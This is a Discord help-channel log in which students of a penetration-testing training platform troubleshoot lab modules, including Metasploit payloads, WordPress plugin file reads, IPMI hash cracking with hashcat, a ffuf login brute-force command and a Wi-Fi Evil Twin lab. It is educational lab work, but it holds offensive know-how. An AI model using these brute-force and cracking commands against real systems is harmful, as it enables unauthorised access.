that's what the module wants you to do

tropic hearth
#

sigh ok...

tranquil crystal
tropic hearth
#

"Try to identify the services" my ass

#

just say "get the exploit from the page you spawned"

tranquil crystal
#

it's running a web server on that port

#

Once you do, try to get the content of the '/flag.txt' file. (note: the web server may take a few seconds to start)

#

See, it's a web server running on that port

#

you're not supposed to nmap it.

#

you misunderstood my friend 🙂

tropic hearth
#

I'm not denying that the web server is the likely path or somewhere I'd go... I just read "identify the services" and think if they're telling me that, it's a practice to doing the thing...not a statement detached from possibility

#

it's kind of like if you told me "Gushu, don't eat a chili dog on Wednesday"...and like...I never was planning to

tranquil crystal
#

now try to hack this using public exploits using the software it shows you is running

#

it should be a vuln. plugin

#

that was my ip, but you should change to yours

#

https://www.rapid7.com/db/modules/auxiliary/scanner/http/wp_simple_backup_file_read/ I think the module wants you to use msfconsole and try to read the flag.txt file in /

This module exploits a directory traversal vulnerability in WordPress Plugin "Simple Backup" version 2.7.10, allowing to read arbitrary files with the web server privileges.

Rapid7
WordPress Simple Backup File Read Vulnerability

Rapid7's VulnDB is curated repository of vetted computer software exploits and exploitable vulnerabilities.

#

I hope that helps

waxen totem
tropic hearth
#

but it's telling me to look at services

waxen totem
#

http is in fact a service

tranquil crystal
#

Heh

tropic hearth
#

in my mind if I'm looking at services, I'm scanning it.... -sV and such....

#

not visiting a page to google/msf the version of some plugin

#

even if that's an obvious thing to try to see if it progresses, it's not "look at services"

#

it's "exploit this low hanging fruit"

#

grumble and now host resolution fails

tranquil crystal
#

reset it and try again

fathom pendant
tranquil crystal
#

That's what we've been telling him

fathom pendant
#

also you're doing an easy/basic module that's just got a bit of most things to get you into understanding what you'll run across

#

it's not expecting you to do something insanely crazy

#

the examples are there to show you the flow of figuring it out

#

discover X
search X
try Y Exploit

tropic hearth
#

as for resolution... noted..I forgot RPORT

tranquil crystal
#

They weren't brought up

fathom pendant
#

actually SMB is brought up as the example

#

but that's mostly because it has one of the most well known exploits out there; EternalBlue

tranquil crystal
#

Yes in the example

fathom pendant
#

aside from that though you can't expect the examples to always be 1::1 to what to expect in the lab, the section is about finding public exploits to something -- so you first figure out what it is that something is
the public IP they give you is a docker container (luckily) so all the other ports are likely hosting labs for other people

tepid gull
#

Hello! I have some problem with JavaScript Deobfuscation, module 41 section 519 skills assessment the last 2 questions

grizzled schooner
#

Am I going crazy? Trying to move a file from SSH from a HTB module to my own to unzip -- tried scp "path_to_file" "output_destination" doesn't seem to work though

waxen totem
grizzled schooner
#

scp /home/kira/Documents/Notes.zip /home/me/Desktop

tranquil crystal
#

you have to specify ip/hostname etc.

#

scp remoteuser@host:/filepath ~/Desktop/

grizzled schooner
#

no such file directory lol

tranquil crystal
#

Can you link to the module and what section ?

grizzled schooner
#

Password Attacks | Default Passwords / Password Reuse

proud pine
tranquil crystal
#

link the module here so I can easily click it

grizzled schooner
grizzled schooner
proud pine
#

The format is
scp user@remote.server:/path/to/file /path/to/local/

grizzled schooner
#

yeah I tried that

proud pine
#

You run this on your machine, not on the target

grizzled schooner
#

that worked ^

#

Thanks - guess it's gonna be one of those days

proud pine
#

This was covered at length in the file transfers module - did you skip it?

grizzled schooner
#

No, just starting to slowly get back in to this after quite a bit of time away from it

slim plaza
#

Hello everyone please help me with the module LOGIN BRUTE FORCING Skills Assessment Part2

fathom pendant
#

the info you need is given in assessment one

slim plaza
#

I found the name Thomas

knotty tartan
#

How are the HTB academy path estimated time calculated - I think CPTS said it was in the 40 days. Is that based on the combined hours?

#

as in 960 hours?

waxen totem
knotty tartan
#

Thanks mate

sharp summit
#

Hey guys, I am facing a problem with the Shells and payloads module >> Automating Payloads with Metasploit q2 everytime I use psexec smb exploit

#

it returns a exploit was created but nothing really happens

dry falcon
sharp summit
dry falcon
sharp summit
#

is there any url given to you

#

then you can do nslookup to it you will get the IP

tranquil crystal
tepid gull
tepid gull
dry falcon
dense mesa
#

Hej guys 🙂 I am bit stuck at the moment. I am on the nmap module https://academy.hackthebox.com/module/19/section/108 and my current challenge is: 'Use NSE and its scripts to find the flag that one of the services contain and submit it as the answer. '

So I thought, sounds easy, so i tried several scripts on the target. Beside that i tried different scan parameters and i always see the same possible flag in my scan results. When i try to add the flag value as answer it always says that my answer is incorrect. I interpret the challenge description that via nmap the flag can be captured, but at the moment i question myself I i understand the description correctly. I also captured the traffic and looked through the dump, but i only see the same HTB flag again and again, which seems not be the right answer.

Any tip would be appreciated 🙂

waxen totem
tranquil crystal
opal nexus
#

Hello, has anybody here have done the module 'Introduction to Windows Evasion Techniques' section 'Process Injection' for some assistance please?

dense mesa
# waxen totem check for leading & trailing spaces, and try reseting the target

I retried my scans on a newly created target and still nothing else beside the other flag. I skipped some NSE modules like dos, exploit or vuln. But maybe the token is hidden behind a service and nmap itself is not meant to discover that flag, but thats not how I interpret that challegen tbh :/ Also tried to verify the string I copy / paste into the answer field. Tried trimming, different combinations with the only flag i found, but its not accepted as an answer.

fathom pendant
#

[yes that's a hint]

dense mesa
fathom pendant
#

i'm more meaning some that may exist on webservers 😉

dense mesa
#

hehe, i just tried to say that your hint works, but i wonder if the hint should have been part of any NSE module I already tried 🙂 I just extracted that one manually now.

tranquil crystal
tranquil crystal
dense mesa
# fathom pendant i'm more meaning some that may exist on webservers 😉

I justed checked the man page of nmap and normally robots scan should have been part of default, discovery and safe. I retried the module and nmap is not spilling out the flag. The docs mention that it only lists disallowed entries. Guess from the content of the file its not disallowed. I tried to execute the specific nse scripts for robots and it doesnt reveal anything via nmap to the console.

http-enum script says it discovered the file, but doesn't output anything. The specific script for robots has no output, except that the http service is open on port 80. What I am trying to say is, that from the challenge description I would have expected to find the flag directly via nmap output. Maybe i shouldnt care to much about the wording ^^ Thank you very much 🙂

edit: just checked the solution for that module and the answer is not what I thought the challenge description implies. So yeah, i took the words too literally.

inner badger
#

Hi there,
Currently stuck on skills assessment for module Local File Inclusion...
I managed to do source code disclosure to identify an FI vulnerability. I have identified two security mechanisms to bypass (trying not to spoil here...) but i am not able to bypass them... even tried RFI... but stuck at this point... Any hint appreciated

gray yacht
lethal widget
inner badger
opal nexus
lethal widget
inner badger
lethal widget
#

Can you DM me?

fathom tide
#

i have joined a team but it still says to join a team

#

how to play this ctf

#

wrong channel

runic rampart
#

🔴 Need help with a Wi-Fi Evil Twin attack! 🔴
I'm working on an Evil Twin Attack against the PulseGrid Wi-Fi network and need some guidance.
The goal is to compromise a client device and retrieve flag.txt.
I've set up the basics, but I'm struggling to get clients to connect reliably.
Does anyone have tips on improving the attack or making the fake AP more convincing?
Any advice would be greatly appreciated!

wet arrow
#

Hi, could someone clarify whether a Stage0 payload is the same as a stager payload?

If they are the same, are there scenarios where Stage0 is handled by a stage payload?

I’m a bit confused about the distinction between stages and the different types of payloads. Could someone explain the reason for differentiating them?

#

This is for the ‘Using the metasploit framework’ module

tranquil axle
tawny flint
#

Hi, in the "Web Attacks" Module, in IDOR section -> "Bypassing Encoded References", I can´t download any contract, I am getting a 403. I found how the server is encoding but I am not able even download my own contract, so the one with uid=1, should be like that o something is wrong?

oblique tiger
#

Hi everyone! Pivoting, Tunneling, and Port Forwarding -> RDP and SOCKS Tunneling with SocksOverRDP -> the internal windows machine is not loading properly. I can't even ping it. Been trying for couple of hours now. Super simple assessment, but I cant get it completed. Any advice?

cloud urchin
proud pine
oblique tiger
oblique tiger
proud pine
#

If you try to connect before they're ready, they can give you issues.

oblique tiger
#

No, I've been waiting for quite a while. Nearly halfway through the path already, have encountered these types of assessments before, but maybe by sheer luck never experienced any machines not loading.

proud pine
oblique tiger
#

Just changed the server. Let me see if it loads in a couple of minutes or not. If not, I'll proxychains nmap the internal network. It's a double pivot assessment with RDP.

proud pine
#

Oh, I thought this was the socksoverrdp part - that was a double pivot?

#

Uhh, pretty sure this isn't double

oblique tiger
#

Changing regions did it!!

oblique tiger
proud pine
#

that's a single pivot lol

#

Foothold is that first box, isn't it?

#

It's been a while since I did the module, but I think this was still single. Though, I would semi-recommend ignoring using socksoverRDP for this lol

oblique tiger
#

Foothold is the one box. Then you SocksRDP into another, then into another. It's literally categorized as Double Pivot in the module lmao

#

RDP is painful sometimes in Pwnbox.

#

But hey, thanks for your help, both of you!!!

#

Personal record -- being nearly halfway done with a certificate study before crying on the relevant Discord channel!

sand rose
#

This isn't module specific per say, but I'm trying to diagnose this issue to complete a module, so I hope it's alright:

I'm needing to use SecLists to brute force a subdomain. I often times use locate seclists | grep "something" |xclip -selection clipboard

Suddenly, even just using the "locate seclists" alone keeps givng me only the following result: /usr/share/parrot-menu/applications/parrot-seclists.desktop

#

I usually get a list of all the folders and wordlists and such, but now I'm getting that as the only result popping up. I've tried using git and apt to reinstall and I'm up to date. Ideas?

oblique tiger
#

Run sudo updatedb

sand rose
#

running it as sudo I'm getting permission denied

fathom pendant
#

you shouldn't have permission denied on your own system

#

if you are; you did something very wrong kek

sand rose
#

sudo updatedb
/usr/bin/find: '/run/user/1000/doc': Permission denied
/usr/bin/find: '/run/user/1000/gvfs': Permission denied

#

That was the command and output of what @oblique tiger suggested

tawny flint
opaque ingot
#

What manages multiple cell towers in cellular networks?

R: mobile switching center

#

I get an error when entering the answer

opaque cosmos
#

Hello i am on the web proxy i am on the step of where u add your CA certificate for zap in firefox first i am unable to find any option name dynamic SSL certificate in my tools options in ZAP and any further options to do so and unable to find about:preferences#privacy and at last is the CA certificates are preconfigured in my HTB academy vm??

#

Doing cbbh module 3

fathom pendant
fathom pendant
opaque cosmos
#

Where is it now

#

How do i access it

fathom pendant
#

you can search the add-ons/plugins for cert and you should find it

#

it's been a minute since i set it up

lapis sky
dark garden
#

Hello. I do not find the button to write to the support in the Academy anymore.
Here is the issue. In the module "Active Directory Enumeration & Attacks", section "DCSync", the given password does not work for the ACADEMY-EA-ATTACK01 machine. You should use the other one given in the section "LLMNR/NBT-NS Poisoning - from Linux".

fathom pendant
lapis sky
dark garden
cloud urchin
#

You don't see a chat bubble at the bottom right?

dark garden
cloud urchin
#

try pressing CTRL+SHIFT+R

compact patrolBOT
dark garden
fathom pendant
# dark garden No.

Also i believe one of the sections tells you the creds for the attack machine, this doesn't change

cloud urchin
fathom pendant
#

As it's part of the total setup

dark garden
dark garden
uneven igloo
#

Hello please help me find the path to htb-students home directory

tawny flint
#

Hi, in the "Web Attacks" Module, in IDOR section -> "Bypassing Encoded References", I can´t download any contract, I am getting a 403. I found how the server is encoding but I am not able even download my own contract, so the one with uid=1, should be like that o something is wrong?

wet arrow
sand rose
#

Hello guys. in the information gathering, web addition, for the "Creepy Crawlies" section, I'm having a hard time getting ReconSpider and scrapy to work. for a variety of different reasons. I've done both: sudo apt-get install python3-scrapy -y
(which installed properly except for Missing executable file kcmshell5 at launcher /usr/share/applications/kcm_trash.desktop)

And did the wget as instructed by the module for ReconSpider.py (I just copied an pasted it for convenience, though I can type out the commands here).

When I go to execute "python3 ReconSpider.py http://inlanefreight.com", I get an error saying "Traceback (most recent call last):
File "/home/nick/ReconSpider.py", line 6, in <module>
from scrapy.downloadermiddlewares.offsite import OffsiteMiddleware
ModuleNotFoundError: No module named 'scrapy.downloadermiddlewares.offsite' " (I just copied and pasted.

Did I mess something up on the install?

nimble scroll
#

hi

#

On what do password recovery functionalities provided by web applications typically rely to allow users to recover their accounts? , can anyone give me a hint on this ? I readed the text 10 times and did not find the answear , Broken Authentication
Brute-Forcing Password Reset Tokens

#

solved

naive aspen
#

Stuck on Advanced XSS and CSRF Exploitation XSS Filter Bypasses for the past day or so. Anyone free to give me a pointer?

cloud urchin
#

Are you stuck trying to find a filter bypass that works or something else

naive aspen
cloud urchin
naive aspen
cloud urchin
naive aspen
cloud urchin
#

you can DM me your whole code

#

Okay yeah the module changed since I did it and I don't have time to go re-do it right now sorry maybe someone else can assist

gray yacht
naive aspen
flint palm
#

Hello Guys can anyone explain me why when i give command in msfconsole set payload windows/meterpreter/x64/reverse_tcp it throws me an error

#

something like wrong payload given for msf

safe star
#

its windows/x64

flint palm
#

meterpreter/windows/x64??

coarse panther
lapis sky
cloud urchin
safe star
coarse panther
coarse panther
cloud urchin
#

I literally said why in the message you replied to

coarse panther
#

I mean yeah we encrypt the data, I'm trying to understand "why?" - considering we are just uploading files why would that matter compared to plaintext.

safe star
cloud urchin
#

so no one can snoop on the data and see it in plaintext

coarse panther
#

Got it nice cheers, just was curious 😄

flint palm
safe star
sand rose
#

Hello guys... I'm having an issue getting ReconSpider and Scrapy to work together... It's from the module "Information Gathering-Web Edition". Since it has to do with troubleshooting why those tools aren't working properly on my machine and not the module per say (Though I need them for the module), can I still ask here? If not, can I DM someone that is willing to help?

runic depot
#

if anyones done process injection, detecting dll injection lmk

pearl furnace
#

Hey guys, I'm having trouble with the linux fundamentals module. In the system information portion it is having me ssh into a target and pull information, but when I ssh into it, it doesn't give me the expected user/password prompts, just a password prompt for root@(Target) and the provided password does not work so I can't complete the module. I'm using my own VM and yes I have openvpn runing with the provided config file. Screen shot of issue

SSH_Fail.png
proud pine
unique spruce
#

hey guys um for some reason haschat isnt working for some stupid reason

proud pine
#

If you do not pass a user, it uses the current user that you are.

unique spruce
#

this is my current file and ill drop the command error in a sec

pearl furnace
unique spruce
#

i have 0 clue why it isnt working and if your wondering this is footprinting ipmi

#

someone pleaseeee help

dark hedge
tranquil crystal
#

Token length exception meaning you're either using a wrong token type -m or the file contains an error

dark hedge
#

it's because your hash is not what hashcat is expecting

unique spruce
#

i showed yall my file

tranquil crystal
#

You need to correctly identify your hash

dark hedge
#

yes

#

remove the admin: part

unique spruce
#

what type of has is idk man

dark hedge
#

that admin: part is the username

unique spruce
#

ok ill be back please wait for me

dark hedge
#

the : separates the username from the hash

unique spruce
#

do i remove everytging up to the second admin?

tranquil crystal
#

you need only the hash, not the username

unique spruce
#

?

dark hedge
#

actually i did not see the whole hash

#

give me a sec

unique spruce
#

┌─[us-academy-2]─[10.10.14.179]─[htb-ac-1794577@htb-hhgg3i1yqu]─[~]
└──╼ [★]$ hashcat -m 7300 file.txt -a 3 ?a?a?a?a?a?a?a?a --force
hashcat (v6.2.6) starting

You have enabled --force to bypass dangerous warnings and errors!
This can hide serious problems and should only be done when debugging.
Do not report hashcat issues encountered when using --force.

OpenCL API (OpenCL 3.0 PoCL 3.1+debian Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]

  • Device #1: pthread-haswell-AMD EPYC 7543 32-Core Processor, skipped

OpenCL API (OpenCL 2.1 LINUX) - Platform #2 [Intel(R) Corporation]

  • Device #2: AMD EPYC 7543 32-Core Processor, 3923/7910 MB (988 MB allocatable), 4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashfile 'file.txt' on line 1 (a8d32d4ab85dc7e35b71a04f7355fc3d6ebb38c0): Separator unmatched
No hashes loaded.

Started: Fri Mar 21 17:47:02 2025
Stopped: Fri Mar 21 17:47:02 2025
┌─[us-academy-2]─[10.10.14.179]─[htb-ac-1794577@htb-hhgg3i1yqu]─[~]
└──╼ [★]$

#

new error 🔥

sand rose
#

Hello guys, I'm still having problems getting ReconSpider and Scrapy to work... I think the issue is Scrapy because when I run ReconSpider, it keeps saying it cant find a python script from Scrapy. I've tried what feels like everything under the sun, and even running updatedb or sudo updatedb keeps giving me permission denied.... (which I dont get how I'm getting permission denied as a super user). This is all needed for the information gathering-web addition.

dark hedge
unique spruce
#

what mode i use

#

i pulled this straight from the module

tranquil crystal
#

Try this

dark hedge
#

do not post module content above tier 0

unique spruce
#

sorry

dark hedge
unique spruce
#

i used metasploit alr

dark hedge
#

then it should have outputted the password

tranquil crystal
#

Try to identify the hash type first, then lookup the mode in hashcat documentation, to my understanding.

unique spruce
#

bro im trying to write the fricking has out or copy paste my code hold on

tranquil crystal
#

Looks like it's SHA1

#

I copy pasted your hash into hash analyzer and got SHA1

dark hedge
#

it is not SHA1

#

i believe it is a supermicro IPMI hash

unique spruce
#

it is an IPMI hash

dark hedge
#

oh wait i'm dumb

#

it's just SHA1 nvm

tranquil crystal
#

🙂

cloud urchin
#

hash-identifier

tranquil crystal
#

use -m 100

dark hedge
#

but i'm just wrong this time so L

tranquil crystal
#

I recommend this. it's pretty accurate most of the time

unique spruce
#

oh my god you fucking goat

#

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 1 MB

[s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit =>
what do i click?

dark hedge
#

nothing you can just let it run

unique spruce
#

thank your my goats

tranquil crystal
#

Baaaaaa

dark hedge
#

ok i was right

#

it is technically not SHA1

unique spruce
#

im waiting nothing has happened

#

how long does it typically take

dark hedge
#

reading the section actually helps, who knew

unique spruce
#

bro the section says -7300

dark hedge
#

@unique spruce press q

#

change the hash mode to 7300

unique spruce
#

that gave me an error bro

dark hedge
#

remove the admin: part

unique spruce
#

theres no admin part anymore

#

and 7300 just gave me an error

image.png
dark hedge
#

that is not the hash

#

you removed 2/3s of the hash

dark hedge
#

remove the admin: part

tranquil crystal
#

only remove the admin:

dark hedge
#

you used the command straight from the section, yes?

#

hashcat -m 7300 ipmi.txt -a 3 ?1?1?1?1?1?1?1?1 -1 ?d?u

#

that is for HP iLO

unique spruce
#

thank you goats!! now i just wait

tranquil crystal
#

IPMI2 RAKP HMAC-SHA1

#

BTW, what module/section is this?

dark hedge
#

it's Footprinting - IPMI

unique spruce
#

Footprinting - IPMI

#

yo what doi click this thing isnt doing shit

dark hedge
#

otherwise the hashcat mode should be set to 0 and you'd run it against some password list like rockyou.txt

#

i'll give you a hint, the IPMI service is not HP iLO

unique spruce
#

bro i dont want hints anymore im just mad

#

also for some reason my rockyou.txt is fricking rockyou.txt.gz

dark hedge
#

just use gunzip

unique spruce
#

how do i fix that??

#

oh ok hold on

fathom pendant
dark hedge
sullen lintel
#

Hey everyone so im new to Cybersecurity any tips on how to learn Linux from basics im currently trying to log into SSH and having issues . Sorry for such a basic question

fathom pendant
#

The mask is what makes the iLo one unique

fathom pendant
#

How to do X in Linux is in a fair bit of my search history

dark hedge
#

if it's a default password****

#

i need my CPTS revoked i'm washed

tranquil crystal
#

There is also a linux fundamentals module IIRC

sand rose
#

I hope its ok to bump this again: I'm still having problems getting ReconSpider and Scrapy to work... I think the issue is Scrapy because when I run ReconSpider, it keeps saying it cant find a python script from Scrapy. I've tried what feels like everything under the sun, and even running updatedb or sudo updatedb keeps giving me permission denied.... (which I dont get how I'm getting permission denied as a super user). This is all needed for the information gathering-web addition.

tranquil crystal
fathom pendant
#

The ReconSpider on github is a completely different one than the module one

sand rose
coarse panther
sand rose
dark hedge
#

isn't scrapy a python library too

sand rose
#

i also tried sudo apt-get install python3-scrapy (I think was it off the top of my head)

sand rose
dark hedge
#

then pipx won't work

sand rose
#

@fathom pendant sudo pip3 install scrapy --break-system-packages
Requirement already satisfied: scrapy in /usr/lib/python3/dist-packages (2.8.0)
WARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager. It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv

tranquil crystal
#

just install it in a python venv. python3 -m venv venv, then activate the venv

fathom pendant
#

Doesn't mean it didn't work

sand rose
#

I'm getting the same error running recon spider atm

fathom pendant
#

What is the exact error

unique spruce
#

why cant i echo a file within /usr/share/wordlists

dark hedge
#

you can cat a file

sand rose
#

Traceback (most recent call last):
File "/home/nick/ReconSpider.py", line 6, in <module>
from scrapy.downloadermiddlewares.offsite import OffsiteMiddleware
ModuleNotFoundError: No module named 'scrapy.downloadermiddlewares.offsite'

unique spruce
#

like i only have a read only permissions on this file even tho im on the pwnbox vm??

#

like im trying to add the hash to this empty file i just made

fathom pendant
tranquil crystal
fathom pendant
#

But you can probably search the channel

dark hedge
#

you can just put the hash in a file in your home dir

#

all you have to do is crack the hash with hashcat

sullen lintel
sand rose
dark hedge
#

what you could do instead is use the metasploit module again

#

but change one of the options

#

there is an option called PASS_FILE

raven scarab
#

Hiya! Can anyone tell me why this ffuf command is throwing an error?
ffuf -w users.txt:FUZZU -w /usr/share/wordlists/rockyou.txt:FUZZP -u http://<IP>:8081/auth?login=FUZZU&password=FUZZP
It gives me a "FUZZP defined but not found in headers [...]" error, and I can't see why

fathom pendant
sand rose
#

The only thing I noticed of relevance in the search is you pinging someone (maybe the dev?) about an issue... but the issue seemed to be pwnbox related from what I gathered, and the other suggestions said to use a virtual environment... which I am, so idk.

#

I even tried locating "scrapy.downloadermiddlewares.offsite" to see if it's in a different spot to try to point reconspider to it, but it returns nothing.

#

(that is the locate command)

dark hedge
#

@rotund fulcrum this is not the server to ask about that

fathom pendant
unique spruce
#

wait so metasploit will take a while if i set the passfile to rockyou.txt cus its cracking the hash right?

sand rose
#

is locate not able to find a file that way?

Also, imma try one more thing that I just thought of.

dark hedge
#

if it's a big password list then yea it'll probably take a while

unique spruce
#

i said run and i have no errors jsut an empty line so its just running rn right?

#

I GOT IT YES YES YES YES

dark hedge
#

great

unique spruce
#

now i just nc and log in right?

dark hedge
#

for reference if you want to crack it in hashcat the command would be hashcat -m 7300 <hashfile> <passwordlist>

#

there's a hashcat module which isn't in the pentester path but is a good module to take

unique spruce
#

will put this down for later use but do i just nc and log in for IPMI?

dark hedge
#

you can't use nc for that

#

you need some tools for interacting with ipmi

unique spruce
#

i was overthining i just looked at the questions i alr got it

sand rose
#

@fathom pendant (I feel like I'm annoying you... I'm simultaneously sincrely sorry if I am, and incredibly grateful for your help the past few days).

so I tried "locate scrapy | grep "offsite" I had 2 file paths get returned, one of interest being
"/usr/lib/python3/dist-packages/scrapy/spidermiddlewares/offsite.py"

Do you know how to get ReconSpider to look there instead of the other file path it was trying to?

fathom pendant
#

if you change the downloadermiddlewares to spidermiddlewares it'll work

sand rose
#

I used pip3 (as recommended from the module)

And in regards to the change, just nano the reconspider.py I assume?

fathom pendant
#

yep

#

SSRF module is greater than tier 0 please avoid spoiling

sand rose
#

I would like to officially annoint @fathom pendant into sainthood.

tender nimbus
#

Ow but I didn't spoiled anything? @fathom pendant ?

#

My command don't even work so ^^

fathom pendant
tender nimbus
#

I will ask again without screens then

#

My bad ^^

#

Hey guys I'm stuck on a SSRF problem module server-side attacks section blind ssrf, I'm doing a fuff command to identify the open port but I receive nothing, even if I want to find the closed ports any help?

#

Omg just a stupid typo in the command 🤡

sullen lintel
#

My bad chat i figured it out

primal rover
#

Hey all, new here. I have a question about an possible technical bug in a module. Do i just ask here?

#

assuming, i do ask here my issue is in the WordPress module. In the final skills assesment, the target VM is a website, but it's not a WordPress website so none of the answers can be located. Am i missing something?

#

I am using PwnBox not my own VM.

sand rose
#

Which module/section is it? I doubt I'd be much help, but I can try.

primal rover
#

the Hacking WordPress Module, Skill Assement section

cloud urchin
primal rover
#

Scan Aborted: The remote website is up, but does not seem to be running WordPress.

#

enumeration fails with wpcan

sand rose
#

I dont have that module unlocked, so I'll let SuperNuts take the reigns if he's still around and able.

#

Is it a public IP?

primal rover
#

no it's a local 10.x.x.x ip

primal rover
cloud urchin
sand rose
#

dumb question probably: Can I specify a port in my /etc/hosts file?

proud pine
primal rover
sand rose
#

I have a vHost that it says I need... but there is a public IP with a port for a target?

#

Actually, I feel like an idiot, ignore me.

primal rover
cloud urchin
#

it's all part of the learning process

primal rover
cloud urchin
primal rover
primal rover
sand rose
#

Not sure if it would help: But try Wappalyzer or nikto to try to enumerate with either of those?

primal rover
sand rose
primal rover
cloud urchin
#

Click every link

primal rover
#

half of them are email or just "#"

#

I found one link that goes off-site but it's broken

#

it has a .local but inside pwnbox that won't open

cloud urchin
#

Again, read the overview and scenario on the page.

primal rover
#

totally lost

cloud urchin
#

There's a note you should pay attention to

primal rover
#

So i was able to get the blog working by editing the /etc/hosts/ file. Thanks for the nudges everyone

sand rose
primal rover
primal rover
#

oh my i'm on the very last question and i'm stuck. The question is vague

#

still on the Hacking WordPress Skill Assessment

#

the question is: Use a vulnerable plugin to download a file containing a flag value via an unauthenticated file download.

#

"a flag" ? which flag?

#

I reviewed the wpscan output and i know which plugin is vulnerable. I just don't know what flag to look for

cloud urchin
#

the question says where to look

primal rover
#

?

cloud urchin
#

The question provides the directory to look in for the flag.

unique spruce
#

yo im on the cpts footprinting easy lab and im lowk stuck because i cant rly find anything

#

ftp anyonymous log in isnt working and my dns enumeration was kinda ass too

#

im just kind of lost and id assume id have to go to ftp so i can find this stupid flag but im js stuck

primal rover
storm elk
unique spruce
#

yeah i did actually

storm elk
#

As the module is above tier 0, dm me to avoid spoilers. I’ll see what I can do over my phone.

primal rover
#

hey @cloud urchin sorry buddy still stuck. I was able to find the reverseshell, but there's no flag in the plugin folder

unique spruce
#

i did a dig zone trasnfer

#

and then i did dnsenum and i got up w literally nothing

cloud urchin
unique spruce
#

supernuts please help

cloud urchin
storm elk
#

Guy doesn’t even want my help kek

#

He wants the squirrel

unique spruce
#

i do i thought u js died

#

id rly want ur advice ngl cus i plan to take cwee after this

#

i was js talking to nuts about it but idk where to go from here

storm elk
#

Dm me the results from the dns dig

#

Let’s avoid spoilers

primal rover
#

I'm 8 hours into a 6 hour module because of this question 😦

waxen totem
cloud urchin
primal rover
primal rover
cloud urchin
#

the wordpress module?

primal rover
#

yes

cloud urchin
#

the question says look in the directory and it gives you the path it's in